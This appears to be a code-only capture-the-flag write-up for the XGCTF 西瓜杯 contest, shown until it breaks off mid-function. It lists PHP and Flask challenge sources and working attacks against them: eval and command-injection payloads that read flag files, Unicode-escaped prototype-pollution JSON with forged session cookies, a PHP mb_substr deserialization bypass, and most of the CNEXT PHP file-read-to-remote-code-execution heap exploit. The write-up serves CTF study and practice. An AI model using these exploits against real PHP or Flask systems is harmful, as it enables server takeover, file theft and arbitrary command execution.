XGCTF_西瓜杯#

1
<?php
2

3
#Author: h1xa
4

5
error_reporting(0);
6
show_source(__FILE__);
7

8
eval("var_dump((Object)$_POST[1]);");

1
1=system("cat /*f*")

1
1=`system("cat /*f*")`

1
1=1);system("cat /*f*");//

1
1=${system("cat /*f*")}

1
<?php
2

3
namespace app\controller;
4

5
use app\BaseController;
6
use think\facade\Db;
7

8
class Index extends BaseController
9
{
10
    protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
11
    public function index($isCache = false , $cacheTime = 3600)
12
    {
13

14
        if($isCache == true){
15
            $config = require  __DIR__.'/../../config/route.php';
16
            $config['request_cache_key'] = $isCache;
17
            $config['request_cache_expire'] = intval($cacheTime);
18
            $config['request_cache_except'] = [];
19
            file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
20
            return 'cache is enabled';
21
        }else{
22
            return 'Welcome ,cache is disabled';
23
        }
24
    }
25

26
}

1
https://a547fd9c-35b9-410e-8ac3-0b2d66a83bc4.challenge.ctf.show/?isCache=ls /|system

1
https://a547fd9c-35b9-410e-8ac3-0b2d66a83bc4.challenge.ctf.show/?isCache=nl /0*|system

1
from flask import Flask, session, redirect, url_for,request,render_template
2
import os
3
import hashlib
4
import json
5
import re
6
def generate_random_md5():
7
    random_string = os.urandom(16)
8
    md5_hash = hashlib.md5(random_string)
9

10
    return md5_hash.hexdigest()
11
def filter(user_input):
12
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
13
    for pattern in blacklisted_patterns:
14
        if re.search(pattern, user_input, re.IGNORECASE):
15
            return True
16
    return False
17
def merge(src, dst):
18
    # Recursive merge function
19
    for k, v in src.items():
20
        if hasattr(dst, '__getitem__'):
21
            if dst.get(k) and type(v) == dict:
22
                merge(v, dst.get(k))
23
            else:
24
                dst[k] = v
25
        elif hasattr(dst, k) and type(v) == dict:
26
            merge(v, getattr(dst, k))
27
        else:
28
            setattr(dst, k, v)
29

30

31
app = Flask(__name__)
32
app.secret_key = generate_random_md5()
33

34
class evil():
35
    def __init__(self):
36
        pass
37

38
@app.route('/',methods=['POST'])
39
def index():
40
    username = request.form.get('username')
41
    password = request.form.get('password')
42
    session["username"] = username
43
    session["password"] = password
44
    Evil = evil()
45
    if request.data:
46
        if filter(str(request.data)):
47
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
48
        else:
49
            merge(json.loads(request.data), Evil)
50
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
51
    return render_template("index.html")
52

53
@app.route('/admin',methods=['POST', 'GET'])
54
def templates():
55
    username = session.get("username", None)
56
    password = session.get("password", None)
57
    if username and password:
58
        if username == "adminer" and password == app.secret_key:
59
            try:
60
                flag_content = open("flag", "rt").read()
61
            except:
62
                try:
63
                    flag_content = open("../flag", "rt").read()
64
                except:
65
                    flag_content = "FLAG{test_flag_locally}"
66
            return render_template("flag.html", flag=flag_content)
67
        else:
68
            return "Unauthorized"
69
    else:
70
        return f'Hello,  This is the POLLUTED page.'
71

72
if __name__ == '__main__':
73
    app.run(host='0.0.0.0', port=5000)

1
payload={
2
    "__init__":{
3
        "__globals__":{
4
            "app":{
5
                "secret_key":"123",
6
                "jinja_env":{
7
                    "variable_start_string":"[#",
8
                    "variable_end_string":"#]"
9
                }
10
            }
11
        }
12
    }
13
}

1
{
2
    "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {
3
        "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
4
            "\u0061\u0070\u0070": {
5
                "secret\u005fkey": "123",
6
                "jinja\u005f\u0065\u006e\u0076": {
7
                    "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067": "[#",
8
                    "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067": "#]"
9
                }
10
            }
11
        }
12
    }
13
}

1
session=eyJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiYWRtaW5lciJ9.aUtYTw.FbFl0Bkt5rhynLd8xmQeVbJUGzU

1
poc={
2
    "__init__" : {
3
        "__globals__" :{
4
             "app" :{
5
                 "_static_folder":"/"}
6
        }
7
    }
8
}

1
{
2
    "\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {
3
        "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" :{
4
             "\u0061\u0070\u0070" :{
5
                 "\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"/"}
6
        }
7
    }
8
}

1
import requests
2
import json
3

4
def poc_1(session, url):
5
    headers = {
6
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
7
        "Content-Type": "application/json",
8
        "Host": "fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show"
9
    }
10
    res = session.post(url=url, headers=headers, data=json.dumps({
11
        r"\u005F\u005F\u0069nit\u005F\u005F": {
12
            r"\u005F\u005F\u0067lobals\u005F\u005F": {
13
                r"\u0061pp": {
14
                    "config": {
15
                        r"SECRET\u005FKEY": "Dragonkeep"
16
                    }
17
                }
18
            }
19
        }
20
    }), verify=False)
21
    return res.text
22

23
def poc_2(session, url):
24
    headers = {
25
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
26
        "Content-Type": "application/json",
27
        "Host": "fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show"
28
    }
29
    res = session.post(url=url, headers=headers, data=json.dumps({
30
        r"\u005F\u005F\u0069nit\u005F\u005F": {
31
            r"\u005F\u005F\u0067lobals\u005F\u005F": {
32
                r"\u0061pp": {
33
                    r"jinja\u005F\u0065nv": {
34
                        r"variable\u005Fstart\u005F\u0073tring": "[#",
35
                        r"variable\u005Fend\u005F\u0073tring": "#]"
36
                    }
37
                }
38
            }
39
        }
40
    }), verify=False)
41
    return res.text
42

43
def poc_admin(session, url):
44
    url = url + "/admin"
45
    headers = {
46
        "Host": "fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show",
47
        'Cookie': 'session=eyJwYXNzd29yZCI6IkRyYWdvbmtlZXAiLCJ1c2VybmFtZSI6ImFkbWluZXIifQ.ZoPoJw.XozJYtjOp2mah8LEEoPZZzdIjzc'
48
    }
49
    res = session.post(url=url, headers=headers, data=json.dumps({
50
        r"\u005F\u005F\u0069nit\u005F\u005F": {
51
            r"\u005F\u005F\u0067lobals\u005F\u005F": {
52
                r"\u0061pp": {
53
                    r"jinja\u005F\u0065nv": {
54
                        r"variable\u005Fstart\u005F\u0073tring": "[#",
55
                        r"variable\u005Fend\u005F\u0073tring": "#]"
56
                    }
57
                }
58
            }
59
        }
60
    }), verify=False)
61
    return res
62

63
if __name__ == '__main__':
64
    url = "http://fb6a5b21-7b61-461a-8dbd-35997bd62c82.challenge.ctf.show/"
65
    session = requests.Session()
66
    result1 = poc_1(session, url)
67
    print(result1)
68
    result2 = poc_2(session, url)
69
    print(result2)
70
    flag = poc_admin(session, url)
71
    print(flag.text)

1
import requests
2
import json
3
import urllib3
4

5
# 禁用 SSL 警告
6
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
7

8
# Target URL
9
url = "https://ecafef8b-ca58-4907-ad5a-1286528121bb.challenge.ctf.show/"
10

11
# Keys escaping (绕过黑名单)
12
k_class = "\\u005f\\u005fclass\\u005f\\u005f"
13
k_init = "\\u005f\\u005f\\u0069nit\\u005f\\u005f"
14
k_globals = "\\u005f\\u005f\\u0067lobals\\u005f\\u005f"
15
k_app = "\\u0061pp"
16
k_secret_key = "secret\\u005fkey"
17
k_jinja_env = "jinja\\u005f\\u0065nv"  # env 被过滤
18
k_variable_start_string = "variable\\u005fstart\\u005fs\\u0074ring" # string 被过滤
19
k_variable_end_string = "variable\\u005fend\\u005fs\\u0074ring"
20
k_cache = "c\u0061che"
21
k_session = "session"
22
k_username = "username"
23
k_password = "password"
24

25
# Payload Construction
26
payload_str = f'''
27
{{
28
    "{k_class}": {{
29
        "{k_init}": {{
30
            "{k_globals}": {{
31
                "{k_app}": {{
32
                    "{k_secret_key}": "123",
33
                    "{k_jinja_env}": {{
34
                        "{k_variable_start_string}": "[#",
35
                        "{k_variable_end_string}": "#]",
36
                        "{k_cache}": null
37
                    }}
38
                }},
39
                "{k_session}": {{
40
                    "{k_username}": "adminer",
41
                    "{k_password}": "123"
42
                }}
43
            }}
44
        }}
45
    }}
46
}}
47
'''
48

49
headers = {
50
    "Content-Type": "text/plain" # 避免 Flask 自动解析为 json 对象，保持 request.data 为原始数据
51
}
52

53
s = requests.Session()
54

55
print("Sending exploit...")
56
# 必须 verify=False 因为远程证书有问题
57
response = s.post(url, data=payload_str, headers=headers, verify=False)
58
print(f"Status Code: {response.status_code}")
59
print(f"Response Text: {response.text}")
60

61
# Step 2: Access /admin
62
print("Accessing /admin...")
63
response_admin = s.get(url + "admin", verify=False)
64
print(f"Admin Status Code: {response_admin.status_code}")
65
print(f"Admin Response Text: {response_admin.text}")

1
<?php
2
highlight_file(__FILE__);
3
error_reporting(0);
4
function substrstr($data)
5
{
6
    $start = mb_strpos($data, "[");
7
    $end = mb_strpos($data, "]");
8
    return mb_substr($data, $start + 1, $end - 1 - $start);
9
}
10
class read_file{
11
    public $start;
12
    public $filename="/etc/passwd";
13
    public function __construct($start){
14
        $this->start=$start;
15
    }
16
    public function __destruct(){
17
        if($this->start == "gxngxngxn"){
18
           echo 'What you are reading is:'.file_get_contents($this->filename);
19
        }
20
    }
21
}
22
if(isset($_GET['start'])){
23
    $readfile = new read_file($_GET['start']);
24
    $read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
25
    if(preg_match("/\[|\]/i", $_GET['read'])){
26
        die("NONONO!!!");
27
    }
28
    $ctf = substrstr($read."[".serialize($readfile)."]");
29
    unserialize($ctf);
30
}else{
31
    echo "Start_Funny_CTF!!!";
32
} Start_Funny_CTF!!!

1
?start=gxngxngxn

1
<?php
2
highlight_file(__FILE__);
3
error_reporting(0);
4

5
function substrstr($data)
6
{
7
    $start = mb_strpos($data, "[");
8
    echo $start.'<br>';
9
    $end = mb_strpos($data, "]");
10
    echo $end.'<br>';
11
    return mb_substr($data, $start, $end + 1 - $start);
12
}
13

14
$key = substrstr($_GET[0]."[welcome".$_GET[1]."sdpcsec]");
15
echo $key;
16

17
class read_file{
18
    public $start;
19
    public $filename="/etc/passwd";
20
    public function __construct($start){
21
        $this->start=$start;
22
    }
23
    public function __destruct(){
24
        if($this->start == "gxngxngxn"){
25
            echo 'What you are reading is:'.file_get_contents($this->filename);
26
        }
27
    }
28
}
29
$readfile=new read_file("aaaaaaa");
30
echo serialize($readfile);
31

32
/*O:9:"read_file":2:{s:5:"start";s:7:"aaaaaaa";s:8:"filename";s:11:"/etc/passwd";}

1
highlight_file(__FILE__);
2
error_reporting(0);
3
function substrstr($data)
4
{
5
    $start = mb_strpos($data, "[");
6
    $end = mb_strpos($data, "]");
7
    return mb_substr($data, $start + 1, $end - 1 - $start);
8
}
9

10
class read_file
11
{
12
    public $start;
13
    public $filename = "/etc/passwd";
14

15
    public function __construct($start)
16
    {
17
        $this->start = $start;
18
    }
19

20
    public function __destruct()
21
    {
22
        if ($this->start == "gxngxngxn") {
23
            echo 'What you are reading is:' . file_get_contents($this->filename);
24
        }
25
    }
26
}
27

28
if (isset($_GET['start'])) {
29
    $readfile = new read_file($_GET['start']);
30
    $read = isset($_GET['read']) ? $_GET['read'] : "I_want_to_Read_flag";
31
    if (preg_match("/\[|\]/i", $_GET['read'])) {
32
        die("NONONO!!!");
33
    }
34
    $ctf = substrstr($read . "[" . serialize($readfile) . "]");
35
    unserialize($ctf);
36
    echo $ctf;
37
} else {
38
    echo "Start_Funny_CTF!!!";
39
}

1
?start=aaaaaaaa&read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:10:"/etc/hosts";}

1
def send(self, path: str) -> Response:
2
    payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(
3
        len(path)) + ':"' + path + '";}'
4
    payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+", "%2b")
5
    filename_len = "a" * (len(path) + 10)
6
    url = self.url + f"?start={filename_len}&read={payload}"
7
    return self.session.get(url)
8

9
def download(self, path: str) -> bytes:
10
    """Returns the contents of a remote file.
11
    """
12
    path = f"php://filter/convert.base64-encode/resource={path}"
13
    response = self.send(path)
14
    data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1)
15
    return base64.decode(data)

1
#!/usr/bin/env python3
2
#
3
# CNEXT: PHP file-read to RCE
4
# Date: 2024-05-27
5
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
6
#
7
# TODO Parse LIBC to know if patched
8
#
9
# INFORMATIONS
10
#
11
# To use, implement the Remote class, which tells the exploit how to send the payload.
12
#
13
# REQUIREMENTS
14
#
15
# Requires ten: https://github.com/cfreal/ten
16
#
17

18
from __future__ import annotations
19

20
import base64
21
import zlib
22
from dataclasses import dataclass
23

24
from pwn import *
25
from requests.exceptions import ChunkedEncodingError, ConnectionError
26
from ten import *
27

28
HEAP_SIZE = 2 * 1024 * 1024
29
BUG = "劄".encode("utf-8")
30

31

32
class Remote:
33
    """A helper class to send the payload and download files.
34

35
    The logic of the exploit is always the same, but the exploit needs to know how to
36
    download files (/proc/self/maps and libc) and how to send the payload.
37

38
    The code here serves as an example that attacks a page that looks like:
39

40
    ```php
41
    <?php
42

43
    $data = file_get_contents($_POST['file']);
44
    echo "File contents: $data";
45
    ```
46

47
    Tweak it to fit your target, and start the exploit.
48
    """
49

50
    def __init__(self, url: str) -> None:
51
        self.url = url
52
        self.session = Session()
53

54
    def send(self, path: str) -> Response:
55
        """Sends given `path` to the HTTP server. Returns the response.
56
        """
57
        payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'
58
        payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")
59
        filename_len = "a" * (len(path) + 10)
60
        url = self.url+f"?start={filename_len}&read={payload}"
61
        return self.session.get(url)
62

63
    def download(self, path: str) -> bytes:
64
        """Returns the contents of a remote file.
65
        """
66
        path = f"php://filter/convert.base64-encode/resource={path}"
67
        response = self.send(path)
68
        data = response.re.search(b"What you are reading is:(.*)", flags=re.S).group(1)
69
        return base64.decode(data)
70

71

72
@entry
73
@arg("url", "Target URL")
74
@arg("command", "Command to run on the system; limited to 0x140 bytes")
75
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
76
@arg("heap", "Address of the main zend_mm_heap structure.")
77
@arg(
78
    "pad",
79
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
80
    "operations with this size, increase this. Defaults to 20.",
81
)
82
@dataclass
83
class Exploit:
84
    """CNEXT exploit: RCE using a file read primitive in PHP."""
85

86
    url: str
87
    command: str
88
    sleep: int = 1
89
    heap: str = None
90
    pad: int = 20
91

92
    def __post_init__(self):
93
        self.remote = Remote(self.url)
94
        self.log = logger("EXPLOIT")
95
        self.info = {}
96
        self.heap = self.heap and int(self.heap, 16)
97

98
    def check_vulnerable(self) -> None:
99
        """Checks whether the target is reachable and properly allows for the various
100
        wrappers and filters that the exploit needs.
101
        """
102

103
        def safe_download(path: str) -> bytes:
104
            try:
105
                return self.remote.download(path)
106
            except ConnectionError:
107
                failure("Target not [b]reachable[/] ?")
108

109
        def check_token(text: str, path: str) -> bool:
110
            result = safe_download(path)
111
            return text.encode() == result
112

113
        text = tf.random.string(50).encode()
114
        base64 = b64(text, misalign=True).decode()
115
        path = f"data:text/plain;base64,{base64}"
116

117
        result = safe_download(path)
118

119
        if text not in result:
120
            msg_failure("Remote.download did not return the test string")
121
            print("--------------------")
122
            print(f"Expected test string: {text}")
123
            print(f"Got: {result}")
124
            print("--------------------")
125
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
126

127
        msg_info("The [i]data://[/] wrapper works")
128

129
        text = tf.random.string(50)
130
        base64 = b64(text.encode(), misalign=True).decode()
131
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
132
        if not check_token(text, path):
133
            failure("The [i]php://filter/[/] wrapper does not work")
134

135
        msg_info("The [i]php://filter/[/] wrapper works")
136

137
        text = tf.random.string(50)
138
        base64 = b64(compress(text.encode()), misalign=True).decode()
139
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
140

141
        if not check_token(text, path):
142
            failure("The [i]zlib[/] extension is not enabled")
143

144
        msg_info("The [i]zlib[/] extension is enabled")
145

146
        msg_success("Exploit preconditions are satisfied")
147

148
    def get_file(self, path: str) -> bytes:
149
        with msg_status(f"Downloading [i]{path}[/]..."):
150
            return self.remote.download(path)
151

152
    def get_regions(self) -> list[Region]:
153
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
154
        maps = self.get_file("/proc/self/maps")
155
        maps = maps.decode()
156
        PATTERN = re.compile(
157
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
158
        )
159
        regions = []
160
        for region in table.split(maps, strip=True):
161
            if match := PATTERN.match(region):
162
                start = int(match.group(1), 16)
163
                stop = int(match.group(2), 16)
164
                permissions = match.group(3)
165
                path = match.group(4)
166
                if "/" in path or "[" in path:
167
                    path = path.rsplit(" ", 1)[-1]
168
                else:
169
                    path = ""
170
                current = Region(start, stop, permissions, path)
171
                regions.append(current)
172
            else:
173
                print(maps)
174
                failure("Unable to parse memory mappings")
175

176
        self.log.info(f"Got {len(regions)} memory regions")
177

178
        return regions
179

180
    def get_symbols_and_addresses(self) -> None:
181
        """Obtains useful symbols and addresses from the file read primitive."""
182
        regions = self.get_regions()
183

184
        LIBC_FILE = "/dev/shm/cnext-libc"
185

186
        # PHP's heap
187

188
        self.info["heap"] = self.heap or self.find_main_heap(regions)
189

190
        # Libc
191

192
        libc = self._get_region(regions, "libc-", "libc.so")
193

194
        self.download_file(libc.path, LIBC_FILE)
195

196
        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
197
        self.info["libc"].address = libc.start
198

199
    def _get_region(self, regions: list[Region], *names: str) -> Region:
200
        """Returns the first region whose name matches one of the given names."""
201
        for region in regions:
202
            if any(name in region.path for name in names):
203
                break
204
        else:
205
            failure("Unable to locate region")
206

207
        return region
208

209
    def download_file(self, remote_path: str, local_path: str) -> None:
210
        """Downloads `remote_path` to `local_path`"""
211
        data = self.get_file(remote_path)
212
        Path(local_path).write(data)
213

214
    def find_main_heap(self, regions: list[Region]) -> Region:
215
        # Any anonymous RW region with a size superior to the base heap size is a
216
        # candidate. The heap is at the bottom of the region.
217
        heaps = [
218
            region.stop - HEAP_SIZE + 0x40
219
            for region in reversed(regions)
220
            if region.permissions == "rw-p"
221
            and region.size >= HEAP_SIZE
222
            and region.stop & (HEAP_SIZE - 1) == 0
223
            and region.path == ""
224
        ]
225

226
        if not heaps:
227
            failure("Unable to find PHP's main heap in memory")
228

229
        first = heaps[0]
230

231
        if len(heaps) > 1:
232
            heaps = ", ".join(map(hex, heaps))
233
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
234
        else:
235
            msg_info(f"Using [i]{hex(first)}[/] as heap")
236

237
        return first
238

239
    def run(self) -> None:
240
        self.check_vulnerable()
241
        self.get_symbols_and_addresses()
242
        self.exploit()
243

244
    def build_exploit_path(self) -> str:
245
        """
246

247
        On each step of the exploit, a filter will process each chunk one after the
248
        other. Processing generally involves making some kind of operation either
249
        on the chunk or in a destination chunk of the same size. Each operation is
250
        applied on every single chunk; you cannot make PHP apply iconv on the first 10
251
        chunks and leave the rest in place. That's where the difficulties come from.
252

253
        Keep in mind that we know the address of the main heap, and the libraries.
254
        ASLR/PIE do not matter here.
255

256
        The idea is to use the bug to make the freelist for chunks of size 0x100 point
257
        lower. For instance, we have the following free list:
258

259
        ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00
260

261
        By triggering the bug from chunk ..900, we get:
262

263
        ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???
264

265
        That's step 3.
266

267
        Now, in order to control the free list, and make it point whereever we want,
268
        we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
269
        we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
270
        That's step 2.
271

272
        Now, if we were to perform step2 an then step3 without anything else, we'd have
273
        a problem: after step2 has been processed, the free list goes bottom-up, like:
274

275
        0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900
276

277
        We need to go the other way around. That's why we have step 1: it just allocates
278
        chunks. When they get freed, they reverse the free list. Now step2 allocates in
279
        reverse order, and therefore after step2, chunks are in the correct order.
280

281
        Another problem comes up.
282

283
        To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
284
        Since step2 creates chunks that contain pointers and pointers are generally not
285
        UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
286
        To avoid this, we put the chunks in step2 at the very end of the chain, and
287
        prefix them with `0\n`. When dechunked (right before the iconv), they will
288
        "disappear" from the chain, preserving them from the character set conversion
289
        and saving us from an unwanted processing error that would stop the processing
290
        chain.
291

292
        After step3 we have a corrupted freelist with an arbitrary pointer into it. We
293
        don't know the precise layout of the heap, but we know that at the top of the
294
        heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
295
        Its free_slot[] array contains a pointer to each free list. By overwriting it,
296
        we can make PHP allocate chunks whereever we want. In addition, its custom_heap
297
        field contains pointers to hook functions for emalloc, efree, and erealloc
298
        (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
299
        then overwrite the use_custom_heap flag to make PHP use these function pointers
300
        instead. We can now do our favorite CTF technique and get a call to
301
        system(<chunk>).
302
        We make sure that the "system" command kills the current process to avoid other
303
        system() calls with random chunk data, leading to undefined behaviour.
304

305
        The pad blocks just "pad" our allocations so that even if the heap of the
306
        process is in a random state, we still get contiguous, in order chunks for our
307
        exploit.
308

309
        Therefore, the whole process described here CANNOT crash. Everything falls
310
        perfectly in place, and nothing can get in the middle of our allocations.
311
        """
312

313
        LIBC = self.info["libc"]
314
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
315
        ADDR_EFREE = LIBC.symbols["__libc_system"]
316
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
317

318
        ADDR_HEAP = self.info["heap"]
319
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
320
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
321

322
        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
323

324
        CS = 0x100
325

326
        # Pad needs to stay at size 0x100 at every step
327
        pad_size = CS - 0x18
328
        pad = b"\x00" * pad_size
329
        pad = chunked_chunk(pad, len(pad) + 6)
330
        pad = chunked_chunk(pad, len(pad) + 6)
331
        pad = chunked_chunk(pad, len(pad) + 6)
332
        pad = compressed_bucket(pad)
333

334
        step1_size = 1
335
        step1 = b"\x00" * step1_size
336
        step1 = chunked_chunk(step1)
337
        step1 = chunked_chunk(step1)
338
        step1 = chunked_chunk(step1, CS)
339
        step1 = compressed_bucket(step1)
340

341
        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
342
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"
343

344
        step2_size = 0x48
345
        step2 = b"\x00" * (step2_size + 8)
346
        step2 = chunked_chunk(step2, CS)
347
        step2 = chunked_chunk(step2)
348
        step2 = compressed_bucket(step2)
349

350
        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
351
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
352
        step2_write_ptr = chunked_chunk(step2_write_ptr)
353
        step2_write_ptr = compressed_bucket(step2_write_ptr)
354

355
        step3_size = CS
356

357
        step3 = b"\x00" * step3_size
358
        assert len(step3) == CS
359
        step3 = chunked_chunk(step3)
360
        step3 = chunked_chunk(step3)
361
        step3 = chunked_chunk(step3)
362
        step3 = compressed_bucket(step3)
363

364
        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
365
        assert len(step3_overflow) == CS
366
        step3_overflow = chunked_chunk(step3_overflow)
367
        step3_overflow = chunked_chunk(step3_overflow)
368
        step3_overflow = chunked_chunk(step3_overflow)
369
        step3_overflow = compressed_bucket(step3_overflow)
370

371
        step4_size = CS
372
        step4 = b"=00" + b"\x00" * (step4_size - 1)
373
        step4 = chunked_chunk(step4)
374
        step4 = chunked_chunk(step4)
375
        step4 = chunked_chunk(step4)
376
        step4 = compressed_bucket(step4)
377

378
        # This chunk will eventually overwrite mm_heap->free_slot
379
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
380
        step4_pwn = ptr_bucket(
381
            0x200000,
382
            0,
383
            # free_slot
384
            0,
385
            0,
386
            ADDR_CUSTOM_HEAP,  # 0x18
387
            0,
388
            0,
389
            0,
390
            0,
391
            0,
392
            0,
393
            0,
394
            0,
395
            0,
396
            0,
397
            0,
398
            0,
399
            0,
400
            ADDR_HEAP,  # 0x140
401
            0,
402
            0,
403
            0,
404
            0,
405
            0,
406
            0,
407
            0,
408
            0,
409
            0,
410
            0,
411
            0,
412
            0,
413
            0,
414
            size=CS,
415
        )
416

417
        step4_custom_heap = ptr_bucket(
418
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
419
        )
420

421
        step4_use_custom_heap_size = 0x140
422

423
        COMMAND = self.command
424
        COMMAND = f"kill -9 $PPID; {COMMAND}"
425
        if self.sleep:
426
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
427
        COMMAND = COMMAND.encode() + b"\x00"
428

429
        assert (
430
                len(COMMAND) <= step4_use_custom_heap_size
431
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
432
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
433

434
        step4_use_custom_heap = COMMAND
435
        step4_use_custom_heap = qpe(step4_use_custom_heap)
436
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
437
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
438
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
439
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
440

441
        pages = (
442
                step4 * 3
443
                + step4_pwn
444
                + step4_custom_heap
445
                + step4_use_custom_heap
446
                + step3_overflow
447
                + pad * self.pad
448
                + step1 * 3
449
                + step2_write_ptr
450
                + step2 * 2
451
        )
452

453
        resource = compress(compress(pages))
454
        resource = b64(resource)
455
        resource = f"data:text/plain;base64,{resource.decode()}"
456

457
        filters = [
458
            # Create buckets
459
            "zlib.inflate",
460
            "zlib.inflate",
461

462
            # Step 0: Setup heap
463
            "dechunk",
464
            "convert.iconv.latin1.latin1",
465

466
            # Step 1: Reverse FL order
467
            "dechunk",
468
            "convert.iconv.latin1.latin1",
469

470
            # Step 2: Put fake pointer and make FL order back to normal
471
            "dechunk",
472
            "convert.iconv.latin1.latin1",
473

474
            # Step 3: Trigger overflow
475
            "dechunk",
476
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
477

478
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
479
            "convert.quoted-printable-decode",
480
            "convert.iconv.latin1.latin1",
481
        ]
482
        filters = "|".join(filters)
483
        path = f"php://filter/read={filters}/resource={resource}"
484

485
        return path
486

487
    @inform("Triggering...")
488
    def exploit(self) -> None:
489
        path = self.build_exploit_path()
490
        start = time.time()
491

492
        try:
493
            self.remote.send(path)
494
        except (ConnectionError, ChunkedEncodingError):
495
            pass
496

497
        msg_print()
498

499
        if not self.sleep:
500
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
501
        elif start + self.sleep <= time.time():
502
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
503
        else:
504
            # Wrong heap, maybe? If the exploited suggested others, use them!
505
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
506

507
        msg_print()
508

509

510
def compress(data) -> bytes:
511
    """Returns data suitable for `zlib.inflate`.
512
    """
513
    # Remove 2-byte header and 4-byte checksum
514
    return zlib.compress(data, 9)[2:-4]
515

516

517
def b64(data: bytes, misalign=True) -> bytes:
518
    payload = base64.encode(data)
519
    if not misalign and payload.endswith("="):
520
        raise ValueError(f"Misaligned: {data}")
521
    return payload.encode()
522

523

524
def compressed_bucket(data: bytes) -> bytes:
525
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
526
    return chunked_chunk(data, 0x8000)
527

528

529
def qpe(data: bytes) -> bytes:
530
